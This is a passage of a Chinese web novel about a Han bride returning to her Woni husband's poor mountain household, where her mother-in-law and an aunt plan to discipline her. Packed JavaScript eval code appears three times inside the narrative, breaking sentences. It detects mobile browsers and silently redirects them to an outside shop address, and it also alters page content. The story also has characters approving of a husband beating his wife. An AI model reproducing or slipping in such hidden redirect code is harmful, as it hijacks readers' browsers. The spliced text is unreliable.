刀莲生紧紧绷着脸,默默把床铺拆了,还是把被子夹在腋下,两手提着凳子。走到门口,回身来把窗洞上那盏油灯也吹灭了。 他重新在堂屋西墙根下搭起了一张简易床。 今晚失眠的,何止折腾来折腾去的两个人? 楼上,白氏凝神听着楼下的动静,直到再也听不到任何响动,楼板缝隙里也没有火光漏出来,她在暗夜里微微叹口气。 也不知道这儿媳妇跑了一回后是不是脑子变灵醒了,看清楚了现实,现在好像挺安心想和莲生做夫妻的,就看那个犟拐拐的儿子能不能把退婚的念头给灭了。 17. 第 17 章 清晨的第一缕阳光穿透薄雾,洒在碧约寨成片的蘑菇屋屋顶,也洒在刀家的院落里。 刀莲生比平常晚起了小半个时辰。 许是昨夜没睡好,他下巴上冒出青影,脸上疲态尽显。 起床后把被子裹成铺盖卷儿,看那道门帘子静静垂着,悄无声息,不便进去打搅,他就把两条凳子重起来放在墙根儿下,铺盖卷儿暂时搁在板凳上。然后扯了头顶麻绳上吊着的包头布去了灶屋,打算洗了个脸。 只是揭开木头缸盖一看,里面滴水没有。 才想起昨晚海棠洗澡,把水都用光了。 要做早饭,早上起来一家人又要洗漱、要烧水喝,都要用水。 刀莲生赶紧拿了扁担,挑着两个空木桶出了门,往后坡的寨顶上去挑水。 寨子顶上有一大片树林,是碧约寨的寨神林。大山里落下的雨水和山里的地下暗河往下流淌,在寨神林这里汇集。有林才有水,有水才有田。寨神林涵养的水源,再通过成百上千条沟渠,滋养了整个山寨的人和梯田。 寨神林入口处有一个石砌的大水潭,是寨民们集体出力修建的,有上百年的历史了。这潭有二三十米深,地底还连通了地下溶洞的活水。就算天下大旱,此潭也从未枯竭过。此潭蓄积的水源,保障了全寨人的日常用水需求。 家里头的这口大缸,放平时,一家人一天只用得了小半缸水。不过现在家里多了口人,还是挑满缸为好。另外还要打扫牛圈也要用水,算下来,得走五六趟。 今日刀家全家都起晚了。刀莲生挑回来第二担水的时候,白氏和两个女儿才起床。 昨晚楼上的三人都被楼下的动静吵得睡不踏实,刀莲荷打着哈欠下楼来,不满地瞥了眼她哥哥的新房。 莲荷觉得这个新嫂子还真是不懂规矩诶。 这是她作为新妇的第一天,她竟然没有煮好了早饭、烧好洗脸水后来叫大家起床不说,她竟还比他们家所有人都晚起! 要不是看母亲脸拉得老长,哥哥又是好不容易娶到妻子的,家里为此付出了一头骡子的巨大代价,她一定指桑骂槐行使她作为小姑子的权利了。 昨天傍晚那场雨下得大,地里一定浇得透透的了。早上空气湿润清爽,干活儿不热。 简单洗漱了后,白氏就叫上大女儿莲荷赶紧背上背篓,带上锄头,跟着她一起去坡上旱地里给包谷地除除草、再松一遍土。小莲叶就负责在家做早饭,打扫屋子。 差不多一个时辰后,天大亮了,云开雾散,莲叶在家把早饭做好了,白氏和大女儿也从地里回来了。 早饭素来是刀家最小的孩子刀莲叶负责做,其余三人,一早起来就会先去地里干一道农活儿。这是长久以来形成的默契。 田家少闲月,五月人倍忙。 此时五月间,正是农忙季节,地里的活儿很多,忙都忙不完,人人都恨不能多生一双手、一双脚。 像旱地里头,开春播种的玉米、大豆等作物长得正旺,要及时去给它们除草、松土、施肥。红苕还有月余就要成熟了,得尽早把藤蔓割掉一些,不然光长叶子藤蔓不长块茎。山地本来就不肥,再给藤蔓抢了肥料,就是长了红苕,那个头儿也不会太大。山药蛋子也该施肥了,辣椒、白菜等苗已经大了,要尽快移栽,不然天热起来再移栽就很容易晒死……想想,活儿可真多呀。 田里的事情更多更重,稻秧苗已经出齐了,秧田里的水也蓄好了。但是插秧前还要再犁一道田,犁完了后还要把田耙平整。这些全是要出大力气的活儿,得靠莲生来弄了。她和女儿只能把旱地里的农活儿尽量做起走,不叫儿子太累了。 可是山地贫瘠,雨水也少,从早到晚忙活儿一整年,地里刨出来的那点庄稼,一家子还不能混个顿顿饱。 白氏心头叹口气,脑子里盘算着今日要干的农活儿,看大女儿卸下背篓后直呼好累,她骂了两句,也把装了半背篓的红苕藤放下来,搁下锄头靠在墙根儿下,然后钻去灶屋打算舀瓢凉水解个渴。 这时听见外头院坝里有人喊她:“桂景妹子在家吗?” 白氏白桂景听见声熟,忙搁下葫芦水瓢,用灶头上的抹布把手上的泥巴水渍这些囫囵擦拭了几下,迎出去,“老嫂子,你来啦。” 来者是刀莲生的堂伯妈曹秀珍。 她见堂屋门没锁,半扇门敞着,以为白氏在堂屋,走到堂屋阶前朝屋内唤她。 听见人在灶屋这边回应她,就回身走过来。 “就去堂屋里坐着说话。”白氏招呼曹秀珍,要去把堂屋门大打开。 曹秀珍拦住她,“我就来看看,说两句话就走,你别忙了。” “那喝口茶汤。你等着,我去倒两碗酽茶来。” 早上起来莲叶第一件事情就是把火塘里的火生起来,烧上一大壶茶水。 一家子干了活儿下地回来,头一件事情都是喝水解渴。 白氏跨进堂屋去提铜壶的开水、拿茶碗倒茶,曹氏则走到灶屋门口朝内看了一圈儿。 灶屋里只有莲荷和莲叶两个人。莲叶在给姐姐莲荷掺洗脸水,莲荷嫌妹妹手脚慢,又嫌水弄得太烫了,两个人低声拌嘴。 没看见其他人了。 曹氏眉头一挑,含笑转身出来。 正好白氏端着两碗酽茶从堂屋出来,她迎上去接住,两个人就站在院坝边说话。 白氏天微明就去坡上给包谷地锄了一遍草,忙了一早上,渴得不行,端着茶汤就喝下去半碗。 曹秀珍见她解了渴抹了嘴,她方才慢悠悠抿了口茶,然后朝牛圈那边努了努嘴,“媳妇儿接回来了?” 白桂景顺着她的视线看向牛圈,她儿子刀莲生精赤着上身,正提起一桶水淋到牛身上,然后放下水桶,拿起个长长的丝瓜瓤子给牛背大力擦洗。 “嗯。昨天下午就接回来了。”白氏收回视线,余光瞥到大女儿刀莲荷擦洗着脸蛋儿在灶房门口探头探脑,骂一句,“没长眼呐?堂伯娘来好一阵了,你也不知道端个矮板凳出来给堂伯娘坐。” “莲荷你不用管我。”曹秀珍笑着拒绝,转向白氏道:“桂景妹子,我们是一家人,你怎么老跟我客气?——我就是昨晚晚间听说有人看见莲生引着个俊俏的姑娘回寨子,我就过来问问情况。” 话到此,曹氏嘴一努,眼光又瞟了下牛圈,压低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061678|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声:“莲生是不是在傅家庄受了窝囊气啊?我今儿看他的脸色比以往好似黑了好几分。刚才我跟他打招呼,他也不太热情,焉哒哒的。” 白氏看看牛圈。 刀莲生弓着脊背,紧抿着唇,光着肌肉虬扎的粗膀子,正双手握一把水竹扫帚把牛圈扫得刷刷地响。 白氏收回视线,淡声道:“兴许是昨晚上没睡好。” 曹氏暧昧一笑:“莲生崽圆房啦?” 白氏顿时苦着脸,“就是没有呢。分房睡的呐,莲生在堂屋搭了两根板凳当铺……” 曹氏一下抬高了声音,气愤填膺:“怎么,那小贱人不让他沾身的?她还有脸了!” “不是,是莲生自己不愿意的。” 曹秀珍忙吃惊地问为什么,“莲生那孩子是傻了不成?!” 白桂景神色哀愁地把刀莲生的理由转述给曹氏听,“新婚当晚把她吓得连夜跑回了娘家,回去就大病一场,听说床都下不来。莲生去她娘家时见她脸色白得像鬼,我看她好像也瘦了一大圈儿。莲生不愿再逼她同房,一定要她心甘情愿才行,说是怕逼得很了闹出人命来。” 曹秀珍听罢,很是歉意道:“说起来,你这儿媳妇还是我找人说媒说来的。真是抱歉,桂景妹子,我原以为她嫁过人,再嫁就只求有个人家收留她,别的都不会在意,哪成想她反应那么大……” 白桂景摆摆手,“老嫂子你快别说这些了。这是谁也没料到的事情。若不是你,莲生便是连个女人也没有,现在好歹囫囵有一个了。” 曹秀珍听罢久久不语,最后一声叹,“哎,这是造的什么孽啊,莲生那好的孩子。长得俊不说,身子又壮,又勤劳肯干,若不是得了那鬼……” “嘘!”白氏惊怕地一把捂住了曹秀珍的嘴,眼睛往院子里和圈棚都各自瞟了眼,像防着谁听见这话似的,良久,才缓缓松开了曹氏。 曹秀珍已自觉失言,脸色也变了,以眼神儿示意抱歉。 白氏松开她的嘴后,她若无其事地把那称赞刀莲生的话大声再说一遍:“我们家莲生崽长得又壮又结实,多少大姑娘小媳妇儿想要嫁给他。要不是家里太穷,哎,哪个愿意娶个汉女?” 这话勾起了白氏的伤心处,她不觉泪湿了双眼,抹泪低泣道:“可不是吗?寨子里谁不说他长得出众?若非他……哎,总之,哪里犯得着找个汉家女子为妻?还是个嫁过人的女人。我的莲生真是命歹。他原是不想娶的,可是要没个女人照顾他,万一哪天我先走了,他可要吃苦了!” 曹秀珍默了默,“咳,那小贱人真是胆子大。那晚的天,她娘家又隔着几座山远呢,路那么远,她竟然还真的跑回娘家去了,她的胆子怎么大成那样?” 白氏饮泣道:“那天晚上的月亮不是很大吗?走夜路也没啥。人胆子要是大起来,杀人放火的事情都敢干。何况,她定然觉得是在逃命呢。要命的事情,她还怕啥呢?” 曹秀珍点头,“也是,当初看人的时候我也是跟着看了的,还觉得她温顺哩,结果——,嗐,老话说得好,不叫的狗下嘴才狠呐!说起来,那天晚上的月亮也太亮了,白花花的像日头,亮得真是不寻常。” 18. 第 18 章 曹秀珍看白桂景一哭就没个完,心里有些过意不去,想了想,随口出主意道:“我觉得吧,似她这种不安分的,就该关起门来打一顿,打得她怕了,就老实了,不敢再跑了,不打就准还得跑。” 白氏抹掉泪渍,说:“打过了。我说她怎么愿意回来,原来莲生已经教训过她了。” “真的?莲生真打那女人了?”曹秀珍脸露震惊之色,“那孩子连句重话都不会说的啊。寨子里的年轻人就数他脾气最好,人最和气,他怎么可能打人?而且还是打女人!” “看,你也不信吧?我当时也不信。”白氏苦笑,“若不是我亲眼所见,我也不信他会打女人,而且下那重的手。他把那小贱人打得浑身是伤,两条雪藕似的胳膊都是青的,我只看着就觉得疼。” 曹秀珍听得一愣一愣的。 半晌,她接受了事实,拍拍白氏的肩头安慰道:“嗐,这不是好事吗?人总是要变的。莲生他成亲了,是男子汉大丈夫了。他现在是女人的天、女人的夫,他要立起他作为丈夫的威严来。若是他连自己的婆娘都管不了,还怎么在寨子里立足呢?与其被人笑话死,干脆拿根麻绳勒死算了!” 白氏深以为然,“当时家里没余钱,实在没能力再给莲生办一场像样的成亲席面,现在我真是庆幸幸好没办。要不然,嗐,给客人看见新媳妇连夜跑了,我刀家的脸面,尤其是莲生的脸面,都给她丢尽了。” “可不是么?哎呀,我看,打一顿还不行呢,得赶紧给她把规矩立起来。不管莲生心里头怎么打算的,以后这婚事退还是不退难说,反正只要那女人在刀家一天,就要守一天的规矩。” “怎么立呀?”白氏听曹秀珍讲得很是一回事,忙向她请教。 “很正式的。先给她个下马威,再给她讲每日什么时候起床,怎么伺候婆婆和丈夫,又如何跟小姑子们相处。总之要她知道,进了婆家门,可就不能再像在娘家那样随随便便了,凡事都要有规有距才行。” “听着很好。那,老嫂子,你娶过儿媳妇,定然弄过那一套。我头一回娶儿媳妇,诸多流程都省了,不会那些。要不,你来帮我给她把规矩立起来可好?” “哈哈,你这话说得,咱们妯娌可是前后脚娶的媳妇儿呐。行吧,你等着,我去换身衣裳了来,这样看上去像回事。你也去换一身,搞正式点。” 两厢说定,曹秀珍走后,白桂景就打算去二楼换上干净衣裳下来,好给儿媳妇立规矩了。结果此时才想起,自己回来都半天了,要给立规矩的那个主角还一直没露面呢。 白氏唤来大女儿,“你去叫你哥赶紧洗脸洗手,换身衣裳。我有事要找他说。另外,找找你嫂子在哪儿,是不是去洗衣服了还没回来。” 刀莲荷应声出去了,白氏打了盆洗脸水,好生把手脸都洗了两遍,再把头发重新梳理了一下,正要回二楼去换衣裳,刀莲荷冲进灶屋来,冲白氏嚷嚷着道:“娘诶,你知道吗?嫂子到现在都还没起床呐。咱家是迎了个菩萨进门吗?” 白氏一脸震惊,犹自不信,看向小女儿莲叶:“你嫂子还没起床?!” 莲叶吐吐舌头:“是好像没看到嫂子起来。” “你哥就没叫她起床吗?” “哥一直在忙。他早起就去挑水了,挑了一大缸子水。水缸挑满后他都没歇口气,又去打扫牛圈。” 白桂景脸拉下来,手里拧干的洗脸帕再砸到木盆里,转身出了灶屋。 两个姑娘相视一眼,眼里都掩藏不住兴奋之色,谁也没开口,不约而同默契地都往外跑,追出去跟在母亲后面瞧热闹了。 白氏在堂屋门口站了片刻,扯了扯衣服,方跨进门槛。她走到新房门口,吸一口气,然后隔着布帘子,大声喊了两嗓子,“莲生媳妇儿?莲生媳妇儿?” 过了好一会儿,白氏才听见屋里头含含糊糊地答应了一声。她没听清海棠应了句什么,但已知道海棠确实还在屋内睡着呐,登时气不打一处来。 大妹妹刀莲荷来喊他吃早饭的时候,刀莲生还在畜生棚里忙活,不过他已经把牛圈打扫得差不多了。应了妹妹,就提起最后半桶水把那把沾满了牛粪的大扫帚冲洗干净,再洗干净双手双脚,直起身来往圈外钻,然后就看见本该在灶屋里准备吃早饭的母亲和两个妹妹一前一后穿过院坝,往堂屋小跑去。 三个人脸上的表情都有些怪异。 他不知道发生了什么事情。 但看母亲沉着脸,遂一边解了头上的包头布擦拭头脸上的汗水,一边也朝堂屋去,想看看出了什么事情。 两个妹妹好像不敢进屋,前胸贴后背的贴叠在一起扒着门框,努力往屋内探着脑袋。 他愈加奇怪了,就没作声,站在妹妹们身后也往屋内瞧去。 只见母亲立在自己那新房外,侧首贴耳在布帘子上朝内唤人,“莲生媳妇儿?莲生媳妇儿?” 这个称呼真是陌生又新鲜呐。 刀莲生不由得脸现古怪。 他此时也才想起来,好像他那新媳妇儿到现在都还没起床呐。 不由得有点脸红。 好像睡懒觉的是自己。 他转身想走。 就此时,白桂景大力一把撩开土布门帘,果见海棠还躺在床上呐。 她上身只系了件红肚兜,下身一条五分短的白色亵裤,露着白皙的两条大腿和肩背,侧身骑在棉被上,正呼呼大睡呢。 堂屋门口偷觑的三个人,正斜对着新房门。 白氏撩开帘子,门口的三个人便将新房内那张又斜对着屋门的架子床上的情景看了个正着。 特别是刀莲生。 海棠穿着十分清凉,身上那件红色肚兜,正是他昨晚手里捏过的那块。 此时看在眼里,那块红肚兜就像烧着的一团火,火光映照在她白生生的胴体上,那个身子闪着诱人的幽光。 原来汉家女子的肚兜是这么穿的……她穿上肚兜又是这么个样子的…… 刀莲生只觉得脸上快速充血。那团火也在蔓延,火舌舔舐着他的身体,他全身都像着了火,一种莫名的肿胀,有些难受。 他豁然转身下了石阶,疾步往灶屋走去。 这头堂屋里,白氏气不打一处来,回身四下看了看,最后捡起火塘边一块木柴,又提起那把烧开水的铜壶,走到门帘处,一壁拿木柴邦邦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明亮的阳光从土墙上那个窗洞透进来,外头听不到车鸣和街道上人群商贩的喧嚷,只有山雀的啾啾声。时间仿佛慢下来。 阳光斜打进来,落在挂起来的蓝色蚊帐上,海棠把屋内的一切都看得分明,但是仍旧觉得很不真实。 她出卧室,推开堂屋门,外面太阳花花直晃眼睛。 碧约寨像太阳花一样向阳而生。清晨第一缕阳光升起的时候,它就迎接到阳光的爱抚了。 今天是个显见的大晴天。 阳光耀目,盘龙山上却还云蒸霞蔚。 袅袅青烟薄雾在山腰下流淌。极目处,那一块缓坡地带,尚未插上秧苗的梯田,层层叠叠,一块连着一块,如同破碎的镜面。 海棠抬头看看,太阳快要升到头顶了,虽不知时间,但也知道至少九点多十点钟的样子了,这会子才吃早饭,只怕是为了将就她,等她起床……海棠愈加无地自容。 院坝边,刀莲生打了一盆洗脸水,正蹲在那里洗脸。 灶房门口,刀莲生那个小妹,叫刀莲叶的,眉眼含笑地朝她招手:“嫂子,快来吃早饭了。” 海棠答应了声,但觉那小姑娘的笑容里有几分取笑的意思,不由得含笑回瞋一眼莲叶。 海棠不知道婆婆就在灶屋门口处,一进去差点撞上,脸上的笑容未及收回,这样子自然惹得婆婆不高兴了。白氏狠狠剜她一眼,再骂了句:“无论汉家还是窝尼家,都断没有睡懒觉不干活儿的懒婆娘。” 海棠自知有错,态度很好,忙勾头道:“婆婆教训得是,我下次绝不再犯了。” 刀莲生抬头看她一眼。 19. 第 19 章 白氏堵在门口,海棠就退出来,让婆婆先行。 她站在房檐下,目光扫到院坝边的刀莲生。 他拿着块黑色土布在擦洗头脸和脖子。男人的动作幅度大,搓洗个帕子,每一下都像在砸水,盆里的水哗哗地往盆子外头四处飞溅。 海棠这会儿想起了自己也还没洗脸呢,忙叫刀莲生别把那洗脸水倒了,留着她要用,说罢折身就往堂屋快步走去。 刀莲生顿住,回身看看敞开的堂屋门,又看看洗脸水,水质还算清亮。目色迟疑中,他缓缓抬起手臂闻了下,左臂闻了闻右臂,好像有股牛粪味儿但又好像没有,再用力嗅了嗅,眉头微蹙起来,下一秒,他毫不犹豫地将半盆洗脸水抬手就倒在了院坝边的阳沟里,然后快步进去灶屋重新打了盆水出来搁在原地。 人起身走开点,假做刚洗好的模样,拿着帕子擦拭脸上和膀子上的水渍呢,就见海棠手里拿了块土布帕子从堂屋出来了。 海棠一点迟疑都没有,很自然地把帕子丢在盆子里,微微用力搓洗了几下,然后拧得半干不干,拿起来就开始擦洗脸颊、耳朵、脖子,还把衣襟稍扯开,把脖子底下和左右两边锁骨都擦洗了两遍。动作自然,神色如常。 刀莲生看那帕子就是自己平常用来洗脸还洗了澡的那块,眸色变深,厚嘴唇抿了抿,移开眼,默默把自己临时拿来当洗脸帕用的黑色包头布拧干,再抖开,挂在灶屋外墙上那根悬着的竹杆上晾着,钻进灶屋去帮小妹莲叶侍弄早饭去了。 灶屋地盘小,刀家人吃饭,天晴天暖就在院坝里,落雨天冷就在堂屋里。 饭桌是一个用竹子编的蔑桌,咋一看就像个胖胖的粗糙的背篓,翻过来把背篓底部朝上就是桌面了。 刀莲生把蔑桌提到院坝,找了块平整干燥的地面,把背篓底翻过来搁在地上,又去灶屋和堂屋总共找了五张矮板凳出来摆好,这边莲叶和莲荷两姐妹正好把温在灶台上的早饭一一端出来了,摆在蔑桌上。 刀家一家子就陆续围拢了过来坐下准备开吃了。 刀莲生身旁的那根矮板凳,默契地被大家空了下来。 海棠洗了脸,把帕子拧干后还是挂到堂屋那根麻绳上,回来见刀家人都已端起了碗、拿起了筷,她很自然地走到刀莲生身旁那个空位坐下来。 刀莲生目色动了动,斜眼看她。 刀家其余几人也在用余光偷瞧她。 海棠的目色也动了动,只是她把眼睛盯在蔑桌上,视线不动声色地把蔑桌以及蔑桌上的早餐快速扫完一眼。 早饭很简单,一篮子饼子,一人一碗浑汤,中间一盘撕碎的烤辣椒。 饼子海棠看着眼熟,黄色面皮里夹着不少黑色褐色粗颗粒,正是昨日吃过的玉米杂粮饼。 原来这不是干粮,是刀莲生家的主食呢。 海棠暗自数了数篮子的饼子个数,看着一大叠,摞得高,但其实,一人一个饼。 烤辣椒该是在灶膛的热灰堆里烤的,上面还明显沾着草木灰呢。 那汤,汤色浑浊,发白,像米汤又没米汤扑鼻的清香味儿,而且也没米汤那么白,颜色黑一点。汤面飘着一些香葱碎。 海棠端起来小小地喝了一口,除了一鼻子葱香味儿,汤水味道寡淡,没油没盐。汤汁的口感倒是有点润滑,但没尝出来是什么,她小声问旁边人,“这是什么东西?” 刀莲生瞥她一眼,才说:“面汤。” “哦。但是太稀了,该多抓点灰面进去煮啊。”她随口说。 刀家人都抬起脸来,把她看一眼。 海棠不明所以,看看刀莲生。 刀莲生垂着眼睫,只大口嚼着手里的饼子,吃得饼渣扑簌簌往下掉。 刀莲生知道她想说什么,好在她今日收敛,没把心里话说出来。照着昨日在路上她那毫不掩饰的嫌弃口吻,不定要是说出了心里话,一家子,特别是母亲,又会怎么呵斥她了。 确实,海棠想说的可不止此。 这汤这么清,清汤寡水的,盐巴也不晓得放一点,跟喝水有什么区别? 面汤要是做浓些,多抓点面粉,做成浓稠顺滑的面糊糊,再撒点盐巴进去,或者舀一勺油辣子搅合搅和,配着油炸的嚼起来咯嘣脆、香喷喷的撒子吃,那不就是咸香味儿的油茶了吗? 作为南方人,这可是她最爱的早餐之一。 她毕业上班后,早餐几乎都在外头吃的。住家楼下,早餐摊摆满了一条街,那么多花样儿,包子馒头稀饭油条,她最爱来一碗油茶。 海棠只想想,竟就勾馋得她肚子不合时宜地咕噜噜叫起来。 刀家一家子吃饭都不作声,这下,谁没听到? 刀家人又齐刷刷地抬起脸来把她看一眼。 这下海棠可不好意思了,把绯红的脸努力埋在面汤碗里,就着粗粝的玉米杂粮饼努力吃起来。 这玉米杂粮饼子又粗糙又干巴巴,也是没滋没味儿的,她昨天就已经尝过了,今日再吃,仍觉得难以下咽。 她咽得困难,吃一口饼子得要喝几大口面汤,或者就着一口烤辣椒才吞得下去,哽得她暗自打嗝,开始庆幸幸好面汤做得稀,不然饼子吃不下去,婆婆怕是要上脸了。 刀家人不但吃饭不做声,还吃得快。特别是在刀莲生的带动下,几乎在两分钟之内就把早饭解决了。 海棠心头愕然,觑看到小莲叶都要放下面汤碗了,她忙故技重施,将还剩的几乎半块杂粮饼揉碎了全塞进嘴巴里,然后端起碗把面汤咕嘟嘟猛喝。 嘴巴里包着一大口汤汤水水饼饼渣渣,白氏已经抹了嘴巴在分派活儿了,“莲生媳妇儿,你把碗筷洗了,锅刷干净,灶头收拾清爽。莲荷你把红苕藤砍碎了喂牛,莲叶你……” 就这时,曹秀珍换了身干净整洁的艳丽衣裳从刀莲生家的灶屋外墙后面转出来。 “哟,新妇领着夫婿自娘家回门回来啦。” 她好像是才知道海棠跟着刀莲生回婆家似的。 且刻意这么说,只为了让白氏让刀家人这边听起来好听些。 白氏跟着她演戏,“老嫂子,你来了?早饭吃过了吗?没吃的话,就跟我们一块儿吃吧。锅里还有剩的。” 曹秀珍摆摆手,“吃过了吃过了。别说得我好像专门来蹭你家早饭似的。” 白氏:“瞧你,说得什么话!” 曹秀珍眼珠子一转,刀莲生忙起身打招呼,喊声堂伯娘。 然后眼睛斜着瞟了眼身旁的海棠。 海棠已跟着他站起身来,看来者是个比婆婆白氏看起来稍显年轻的老妪,穿戴崭新,包头布和脖子上都有亮晃晃的银饰,腰间围了根绣花围裙。她心说这老太婆挺爱俏的,嘴里则大大方方地跟着刀莲生喊了声:“堂伯娘好。” 刀莲荷和刀莲叶起身要走开去干活儿。 刀莲生以为堂伯娘来,又是找母亲说私房话的,跟着要走开。 海棠自然而然地跟着男人走。 曹秀珍抬手一压:“大家伙儿都别慌着走。” 曹秀珍一来,好像这个家是她的家,她张口一顿指挥,“莲荷,你去灶房打一壶水,搁火塘上煮起来。莲叶,去,把你家的茶叶茶碗都翻找出来。哟,新媳妇,你么,你怎么还不赶紧给堂伯娘端根凳子来坐呀?” 最后一句话让白氏动容,她干瘦的脸皮抽了下,扭过脸来朝海棠横了眼。 海棠也是醉了。 凳子就在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14094059|149096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曹氏脚旁的。 海棠看这曹秀珍,一来就端着架子,又喊住刀家人,而婆婆作壁上观,她隐约明白了。 这位堂伯娘只怕是越俎代庖,同婆婆商量好了,要给自己一个下马威的。 这点,海棠理解,也想得到。 电视剧早看了无数遍的桥段了,新媳妇进门,转天起早头一件事情,就是给新妇立规矩嘛。 既来之,则安之。 在人家屋檐下生活,低下头又怎么了?该当的! 海棠忙走过去,把那根矮板凳移了点位置,手板儿心在凳子上拂了两下,好似拂灰尘似的,完了后才笑着毕恭毕敬地邀请堂伯娘坐:“您快请坐下来说话。” 曹秀珍扯扯衣摆,大模大样地在凳子上端坐下来,乜斜着海棠,说:“这样才乖。新媳妇儿,你去火塘边守着把水烧好,把茶泡上。嫁了人,可不像在娘家,要主动找事情做。” 海棠看一眼白氏,白氏没说话,她更加确信了曹氏此来的目的,脆生生地答应了一声,转身就去了堂屋。 刀莲生也看出来堂伯娘此行有目的,但可能是女人之间的事情。他原地杵了一会儿,干站着也不是个事儿,可又莫名地暂时不想下地干活儿去,于是,干脆拿了扁担挑着水桶去后山山顶挑水去了。 家里来了客人,堂屋大门自然得大敞着。 曹秀珍和白氏在院坝里坐着大声垮气地说话。 海棠看得出来,人家就是刻意要说给她听的,便竖起耳朵把字字句句都听进去。 曹秀珍目送海棠跨进堂屋门槛,立刻转头对白氏大声道:“早上起来,德生爹就跟我说,你去看看莲生那媳妇儿回来没,如果今儿傅家还没把女儿送还不回来,我们就喊上几十条汉子去傅家庄要人!多叫些,叫上四五十人,好叫傅家庄的人知道我们窝尼家的人不是那么好欺骗、好欺负的! 真是欺人太甚了!虽然现在是汉人的天下,汉人做皇帝,汉人当官老爷,可是我们窝尼人是不怕事的!他们汉人蔑称我们窝蛮子,那我们就蛮给他们汉人看!总之不能让汉人的平头百姓也都欺负了咱去! 所谓国有国法,家有家规。这事儿咱们窝尼家占理,就算是闹到官府衙门去,我们再蛮再横,那都是有理的! 我们正正经经聘媳妇儿,彩礼送过去,新媳妇竟然半夜跑掉,人不送回来,彩礼也不送回来,这像话吗! 德生他爹骂了一早上,我劝了他好一阵,怒火才消。我说别动不动就喊人去傅家庄闹,闹起来两家人都没脸。闹大了也不好收拾,肯定有人要伤筋动骨出血的,事情就变复杂了。问题能简单解决了最好。我说,只要傅家人知错就改,那新媳妇儿不愿回来,彩礼还给我们就是。如果她回来了,只要她保证以后再不跑了,好生伺候我们家莲生,同他生儿育女,安心操持这个家,那先前的事情就一笔勾销!” 白氏紧紧抓住曹秀珍的手,“我谢谢哥嫂子替我们莲生出头!” 曹秀珍回头看看堂屋。 海棠耷拉着脑袋坐在火塘边,好像正在反省的样子。 曹秀珍就扭头,冲白氏眨眨眼,示意威胁恫吓的目的达到了。 “走吧,水怕是要烧开了,你就准备喝新妇茶吧,趁机就好生把家规给她立起来。” 白氏就站起身来。 曹秀珍往她身上瞄了眼,“我不是叫你换一身齐整的?” 白氏才给海棠睡懒觉这事儿气着,没心思整那些虚头巴脑的,说:“就这样吧。” “哎呀,桂景妹子,你看你,这身衣服上尽是些泥巴印子。你这样敷衍了事,又怎么能让你儿媳妇敬畏你?” 曹氏非要押着白氏上楼去换身好点的干净衣服。 20. 第 20 章 刀莲生一担水挑回来,倒进灶屋的大水缸里。 现在家里多了口人,用水比以前多了不少,每日挑水至少得多走两趟了。 水缸没灌满,但是天不早了,得下田干活儿了。如果今日没谁洗澡的话,这大半缸水今天已经够用了。 刀莲生搁下水桶扁担走出灶屋,把挂在竹竿上那块包头布扯下来擦拭头脸上的汗水,见两个妹妹在地坝边宰红苕藤喂牛,一边凑在一起嘀嘀咕咕个不停。 “姐,堂伯娘想干嘛?” “反正我感觉是不想给那女人好果子吃呗。不过那也是她活该,谁叫她要跑。” “我觉得这个嫂嫂很好啊,她人很和气,说话温柔又好听,长得也很好看。而且她都回来了,干嘛还要给她难堪?” 莲荷骂:“你懂个屁啊,娘和堂伯娘这么做肯定是有道理的。不过这些都是大人的事情,我们不要去掺和。还有,能躲着那女人就尽量躲开些,少理她。” 莲叶很吃惊:“为什么?那是嫂嫂啊。” 莲荷神色严肃,“我跟你讲,我那些出嫁的姐妹回娘家来都说,婆婆和儿媳妇儿之间,姑嫂之间,还有妯娌之间都是天生不对盘的。别的不说,就只说姑嫂之间,我俩跟那个女人之间不会相处好的。为啥?娘是我们的亲娘,却只是她的婆婆。她没嫁进来之前,咱们娘在她眼里就只是个不认识的老太婆而已,嫁进来后不过是跟着夫君一起喊娘,却是没有血脉相连的娘,所以不会亲到哪里去。你想啊,娘是咱们的亲娘,肯定紧着我们啊。娘好吃好喝的都紧着我们,遇个事儿也会偏袒我们,你说嫂子心头会舒服吗?她肯定不舒服了!可她不敢对娘咋样,她就只能背地里找咱们出气啊,是不是?所以,哎,以后这个家可不平静咯。” 莲叶听得一愣一愣的,她还不能理解这么复杂的成人世界的关系。 “姐,躲着不是事儿啊?家里就这么大,还能往哪里躲?” 刀莲荷认真地思索了下,说:“我好姐妹说,分家过最好了。各过各的,谁也不碍谁的眼。” “啊?姐,家里就全靠哥哥种田养家。如果分家了,我们母女三个岂不是要饿死了?”莲叶小脸儿皱成一团,急得快要哭了,“为什么哥哥娶了嫂子后就要变成这样?难怪哥哥当初不愿娶。” 刀莲荷哭笑不得,抬手戳着妹妹脑门儿笑骂道:“哎呀,你真是个傻脑筋。我说的是我姐妹说的嘛,又不是咱家真的要分家过。而且,我们以后都是要嫁出去的人,娘家这边闹成啥样都跟我们没关系了,要头疼的是二哥和你四哥!” 莲叶恍然大悟,“对,对啊。” 但马上想到自己将来要嫁人,要离开这个家,要同相依为命的亲人分开,跟一群陌生人生活在一起,眼睛依旧红了,“姐,我不想嫁人……” 